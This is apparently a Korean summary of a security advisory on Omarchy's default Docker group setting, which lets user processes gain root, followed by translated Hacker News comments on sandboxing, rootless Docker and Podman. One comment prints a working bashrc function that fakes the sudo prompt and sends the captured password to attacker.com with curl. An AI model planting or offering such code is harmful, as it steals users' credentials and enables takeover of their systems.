Omarchy 기본 설정 결함: 사용자 프로세스가 루트 권한 획득 가능
Omarchy: Any User Process Can Escalate to Root
Omarchy의 기본 Docker 구성에서 심각한 보안 취약점이 발견되었습니다. 기본 사용자가 docker 그룹에 속해 있어, 사용자 세션에서 실행되는 거의 모든 프로세스가 비밀번호나 sudo 없이 루트 권한을 얻을 수 있었습니다. 이는 AI 코딩 에이전트, 웹 브라우저, IDE 등 사용자 애플리케이션이 손상되면 즉시 전체 시스템이 장악될 수 있음을 의미합니다. 이 취약점은 4.0.1 이전 버전에 영향을 미치며, 이미 패치되었습니다. 사용자는 즉시 4.0.1로 업데이트해야 합니다.
일반 사용자 애플리케이션의 손상이 즉시 전체 시스템의 손상으로 이어질 수 있습니다.
HN 토론
472- concinds
며칠 전에 누군가 USB 디스크립터를 셸로 직접 흘려보내는 걸 발견했습니다.
https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8...
바이브코딩된 배포판을 쓰지 마세요. 이걸 고치든 저걸 고치든, 특정 취약점에 신경 쓰든 안 쓰든 상관없어요. 이건 말이 안 됩니다. 처음에 Windows에서 벗어난 이유를 기억하시죠?
- mike_hearn
Linux는 macOS와 달라서 제대로 작동하는 데스크톱 샌드박싱 아키텍처가 없습니다. 그래서 이런 건 일종의 보안 쇼에 불과해요. 악성 프로그램을 실행하면 PATH를 조작하거나 앱의 로컬 취약점을 악용해서 중요한 모든 것을 제어할 수 있는 지점(일반적으로 root는 아님)까지 도달할 수 있습니다. 예를 들어 ~/.bin/.hidden-shell에 사용자 지정 셸을 넣고 터미널 에뮬레이터를 재구성해서 그 셸을 실행하게 할 수 있어요.
그래서 이런 종류의 "취약점"은 그렇게 중요해 보이지 않습니다. Linux에서 자신의 권한으로 코드를 실행하면 그 코드가 당신을 소유하게 됩니다.
macOS는 매우 다릅니다. 광범위한 코드 서명은 모든 앱에 커널이 강제하는 안정적인 정체성을 부여하며, 앱이 쉽게 벗어날 수 없습니다. 그러면 커널은 설치 방법과 관계없이 실행되는 모든 앱에 샌드박싱 정책을 적용할 수 있습니다. 예를 들어 앱이 ~/Documents를 뒤지거나 화면을 모니터링하는 것을 방지할 수 있습니다. 권한은 편집 가능하고 업그레이드 후에도 유지되도록 보장됩니다. 그리고 root는 권한이 축소되어 있어서 root를 얻는 것은 거의 중요하지 않으며, UNIX 호환성을 위해서만 존재합니다.
안타깝게도 Linux에 Apple 스타일 아키텍처를 구현하는 것은 매우 어려울 것입니다.
- thehamkercat
사람들이 미디어/유튜브에서 크게 hype된 배포판으로 바로 넘어가면 안 된다고 생각합니다. CachyOS도 비슷한 물결이 있었고, 이제 Omarchy도 그렇습니다.
(예: NetworkChuck, Primeagen? 그리고 몇몇 다른 사람들)
또한 Arch Linux는 요즘 archinstall [1]로 설치하기 훨씬 쉬워졌으니, 그 위에 또 다른 의견이 강한 레이어가 정말 필요한지 모르겠습니다.
- exitb
좋지는 않지만, 일반 사용자를 docker 그룹에 추가하는 것이 매우 흔한 설정이기 때문에 이것을 Omarchy 특유의 문제로만 볼 필요는 없을 것 같습니다.
- lrvick
공정하게 말하자면, sudo는 완전한 보안 쇼이기 때문에 어떤 주요 Linux 배포판에서도 악성 코드가 root로 권한 상승하는 것은 쉽습니다.
악성 코드는 ~/.bashrc에 이것을 넣고 기다리면 됩니다:
function sudo () {
realsudo=$(which sudo)
read -r -s -p "[sudo] password for $USER: " password
echo "$USER: $password" | \
curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1
$realsudo "${@:1}"
}
- WhyNotHugo
왜 docker를 비특권 사용자 대신 root로 실행하는 것이 그렇게 흔한지 이해할 수 없습니다.
Docker는 수년 동안 rootless 모드를 지원해 왔습니다. 저는 4년 넘게 docker-rootless를 Arch/AUR에 패키징했으므로 그만큼 오랫동안 존재하고 안정적이었습니다.
물론 Docker 컨테이너 실행 전용 서버에서는 네트워크 지연 시간의 사소한 개선을 위해 그럴 수도 있습니다. 하지만 그 외에는 rootless가 항상 기본이 되어야 합니다.
- trentnix
Docker 구성 문제는 보고되었고 해결하기 위해 빠르게 변경되었습니다. 이것은 시스템이 잘 작동하고 있다는 좋은 예인 것 같습니다.
Omarchy는 저 같은 개발자가 hyprland를 시험해 보고 코드를 작성할 수 있는 간단한 방법처럼 보입니다. 또한 제 아이들이 컴퓨터에 입문하는 좋은 방법처럼 보입니다. 에이전트 하네스가 기계를 관리하고 자유 소프트웨어(다소 난해한 것까지)를 사용하도록 도와줄 준비가 되어 있으니까요.
사람들이 이것에 대해 화를 내는 것이 이해가 안 되지만, 게이트키퍼들이 뭐라 하든 이제 신경 쓰지 않는다는 것을 기억합니다.
- andrewvc
바이브 코딩이 일어난 상자에서는 아무것도 믿지 않을 것입니다. 그래서 저는 완전히 별도의 기계에서 바이브 코딩을 합니다.
저는 Omarchy 사용자가 아니지만, 우리는 이제 대부분의 작업(LLM이 사용자에게 root로 실행하라고 요청하는 것 포함)이 사용자의 뇌가 아닌 다른 곳에서 시작되는 세상에 살고 있습니다.
앞으로 몇 년 안에 신뢰와 인증에 대한 우리의 생각 방식에 대한 재평가가 있을 것입니다. 사건의 심각도가 높아지는 문제일 뿐입니다.
- darkwi11ow
rootless podman을 사용하지 않는 이유가 무엇인가요? 2026년이지 2016년이 아닙니다. Podman은 오늘날 Docker보다 훨씬 잘 작동합니다.
- pkulak
와... 정말 의미심장하네요. 이것은 모호한 실수가 아닙니다. Docker 설치 페이지에는 정확히 이 문제를 설명하는 거대한 섹션이 있습니다. 모든 배포판 위키의 모든 Docker 섹션은 이 문제를 자세히 다룹니다. 이것은 Podman이 처음 만들어진 이유의 80%입니다.